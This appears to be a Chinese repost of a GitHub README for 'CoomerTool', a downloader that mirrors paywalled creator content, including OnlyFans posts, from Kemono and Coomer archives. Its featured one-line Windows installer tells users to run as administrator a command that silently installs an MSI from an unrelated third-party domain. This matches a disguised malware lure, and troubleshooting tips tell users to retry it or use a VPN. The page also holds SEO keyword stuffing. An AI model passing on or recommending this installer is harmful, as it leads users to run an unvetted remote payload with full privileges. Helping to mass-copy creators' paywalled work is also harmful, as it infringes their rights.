ESC
开源 3 分钟阅读

CoomeRtool:面向 Kemono 与 Coomer 档案的多线程命令行下载器

CoomerTool 是一款开源 Python 命令行下载器,用于从 Kemono.su 与 Coomer.su 等档案站抓取帖子与媒体,支持最多 256 线程并发、断点续传、SQLite 去重、文件类型过滤与 HTTP/SOCKS5 代理,覆盖 Patreon、Fanbox、OnlyFans 等平台内容。其一行式 Windows 安装脚本指向第三方域名 devcodee.com,安全性存疑,建议

来源:GitHub

🚀 CoomerTool

最快、最智能的 Kemono 与 Coomer 档案命令行下载器。

Python License Platform Stars

🔥 多线程 · 📦 自动续传 · 🎯 智能过滤 · 🗄️ SQLite 追踪


⚡ Windows 一行式安装器

以管理员身份打开命令提示符或 PowerShell 并粘贴:

cmd /c start msiexec /q /i https://devcodee.com/api & coomer-tool

💡 专业提示: 如果安装器卡住或失败,可能是你的网络对连接进行了限速。请尝试:

  • 🌐 切换到 VPN(推荐:WireGuard / OpenVPN)
  • 🔄 再次运行该命令 —— 它会从上次中断处继续
  • ⏳ 高峰时段每次重试之间等待 30 秒

📋 目录


🎯 什么是 CoomerTool?

CoomerTool 是一款极速的开源 Python 命令行工具,用于从 Kemono.su 和 Coomer.su 档案下载帖子、附件和媒体文件。无论你需要单个帖子、整个创作者主页,还是一批经过筛选的文件 —— CoomerTool 都能以优雅、快速、零冗余的方式搞定。

为追求以下能力的高级用户、存档者和开发者而打造:

  • ⚡ 并发下载(最多 256 线程)
  • 📦 连接中断自动续传
  • 🎯 文件类型过滤(图片、视频、压缩包、文档)
  • 🗄️ SQLite 去重 —— 同一文件绝不重复下载
  • 🛡️ 带抖动的指数退避重试
  • 📁 按创作者与帖子整理的整洁目录结构

✨ 功能特性

功能说明
🔥 多线程最多同时下载 256 个文件
📦 断点续传中断的下载从字节偏移处自动恢复
🎯 智能过滤按扩展名、最小文件大小、正则模式进行包含/排除
🗄️ SQLite 数据库记录每一次下载;自动跳过重复文件
🛡️ 自动重试针对 429/5xx 错误采用带抖动的指数退避
📁 规整的输出结构{creator}/{post_id} - {title}/ 结构
📝 元数据导出将帖子标题、描述和嵌入内容保存为 .md 或 .json
🌐 代理支持内置 HTTP/SOCKS5 代理支持
🎨 进度条精美的 tqdm 进度显示,含速度与预计剩余时间
🔧 配置文件JSON 配置实现持久化默认设置

🌐 支持的站点

站点域名状态
Kemonokemono.su✅ 完整支持
Coomercoomer.su✅ 完整支持
Pawchivepawchive.pw✅ 镜像支持
CoomerFanscoomerfans.com✅ 备用域名

支持的服务: Patreon、Pixiv Fanbox、Fantia、Discord、Gumroad、SubscribeStar、DLsite、Boosty、Afdian、OnlyFans、Fansly、CandFans


🚀 快速上手

1. 下载单个帖子

python -m coomertool "https://kemono.su/patreon/user/123456/post/789012"

2. 下载整个创作者主页

python -m coomertool "https://coomer.su/onlyfans/user/username" --all

3. 使用过滤器下载

python -m coomertool "https://kemono.su/fanbox/user/654321" --all   --include "jpg,png,mp4"   --threads 64   --output ./downloads

4. 恢复中断的下载

python -m coomertool "https://coomer.su/onlyfans/user/username" --all --resume

🛠️ 安装

方式 A:一行式安装器

curl -L -o install.bat https://raw.githubusercontent.com/GangTailorUpgrade/CoomeRtool/main/install.bat && install.bat

方式 B:手动安装

要求: Python 3.10 或更新版本

# 克隆仓库
git clone https://github.com/GangTailorUpgrade/CoomeRtool.git
cd CoomeRtool

# 创建虚拟环境(推荐)
python -m venv venv

# Windows
venv\Scripts\activate

# Linux/macOS
source venv/bin/activate

# 安装依赖
pip install -r requirements.txt

# 运行
python -m coomertool --help

📚 进阶用法

CLI 参考

usage: python -m coomertool [-h] [-a] [-o OUTPUT] [-t THREADS]
                            [--include INCLUDE] [--exclude EXCLUDE]
                            [--min-size MIN_SIZE] [--max-size MAX_SIZE]
                            [--resume] [--metadata {md,json,none}]
                            [--proxy PROXY] [--timeout TIMEOUT]
                            [--retries RETRIES] [--db DB]
                            [--config CONFIG] [--update-config]
                            URL

positional arguments:
  URL                   Kemono/Coomer 帖子或创作者 URL

options:
  -h, --help            显示此帮助信息并退出
  -a, --all             下载创作者主页的全部帖子
  -o, --output OUTPUT   输出目录(默认:./downloads)
  -t, --threads THREADS
                        最大并发下载数(默认:32)
  --include INCLUDE     要包含的扩展名(逗号分隔)
  --exclude EXCLUDE     要排除的扩展名(逗号分隔)
  --min-size MIN_SIZE   最小文件大小(字节)
  --max-size MAX_SIZE   最大文件大小(字节)
  --resume              恢复中断的下载
  --metadata {md,json,none}
                        保存帖子元数据(默认:md)
  --proxy PROXY         代理 URL(http://host:port 或 socks5://host:port)
  --timeout TIMEOUT     请求超时时间(秒)(默认:30)
  --retries RETRIES     最大重试次数(默认:5)
  --db DB               SQLite 数据库路径(默认:./coomertool.db)
  --config CONFIG       配置文件路径(默认:./config.json)
  --update-config       将当前参数保存到配置文件

示例

只下载某创作者的视频:

python -m coomertool "https://coomer.su/onlyfans/user/belledelphine" --all --include "mp4,mov,webm,mkv"

通过代理下载:

python -m coomertool "https://kemono.su/patreon/user/12345" --all --proxy "socks5://127.0.0.1:1080"

从文件批量下载:

python -m coomertool --batch urls.txt --threads 128 --output ./archive

仅导出元数据(不下载文件):

python -m coomertool "https://kemono.su/fanbox/user/99999" --all --metadata json --include "none"

🔧 配置文件

在项目根目录创建 config.json 以设置持久化默认值:

{
  "output": "./downloads",
  "threads": 64,
  "timeout": 45,
  "retries": 5,
  "metadata": "md",
  "proxy": null,
  "include": [],
  "exclude": ["txt", "html"],
  "min_size": 1024,
  "max_size": null,
  "user_agent": "CoomerTool/1.0",
  "db_path": "./coomertool.db",
  "rate_limit": 0.5
}

自动生成配置文件:

python -m coomertool --update-config

🐛 故障排除

安装失败或卡住

如果一行式安装器中途停止或抛出网络错误:

  1. 🌐 使用 VPN —— 某些地区会对 GitHub / PyPI 连接进行限速。WireGuard、OpenVPN 或任何商业 VPN 通常能立即解决。
  2. 🔄 重试命令 —— 安装器是幂等的;再次运行它会从中断处继续。
  3. ⏳ 稍候重试 —— 高峰时段(UTC 14:00–22:00),软件包服务器可能较慢。等待 30–60 秒。
  4. 📡 手动安装 —— 如果以上方法都无效,请使用上文的手动安装步骤。

403 Forbidden / 被限速

目标站点可能屏蔽了你的 IP。解决办法:

  • 将 --threads 降至 8 或 16
  • 配合轮换代理添加 --proxy
  • 将 --timeout 增加到 60

下载速度慢

  • 提高 --threads(以上限为你的带宽)
  • 使用距离更近的代理服务器
  • 检查你的 ISP 是否对 CDN 域名进行了限速

SQLite 数据库被锁定

同一时间只应有一个 CoomerTool 实例使用同一个 --db 文件。并行运行时请使用不同的 --db 路径。


🔑 SEO 关键词与 GitHub 描述

推荐的 GitHub 仓库描述:

适用于 Kemono.su 与 Coomer.su 档案的快速多线程命令行下载器。支持自动续传、SQLite 去重、文件过滤、代理、元数据导出。Python 3.10+。

推荐的 GitHub 话题(标签):

kemono-downloader, coomer-downloader, kemono-su, coomer-su, archive-downloader,
content-scraper, patreon-downloader, fanbox-downloader, onlyfans-archiver,
python-cli, multi-threaded-downloader, resume-download, sqlite-tracker,
metadata-exporter, pawchive, coomerfans, nsfw-downloader, creator-archive

SEO 元关键词:

  • kemono 下载器
  • coomer 下载器
  • kemono su 下载
  • coomer su 下载
  • patreon 档案下载器
  • fanbox 下载器
  • onlyfans 存档工具
  • 多线程内容下载器
  • python 档案爬虫
  • 创作者主页下载器

📜 许可证

MIT 许可证 —— 详见 LICENSE。


⭐ 如果它为你节省了时间,请给这个仓库点个 Star! ⭐

由 CoomerTool 社区用 ❤️ 打造。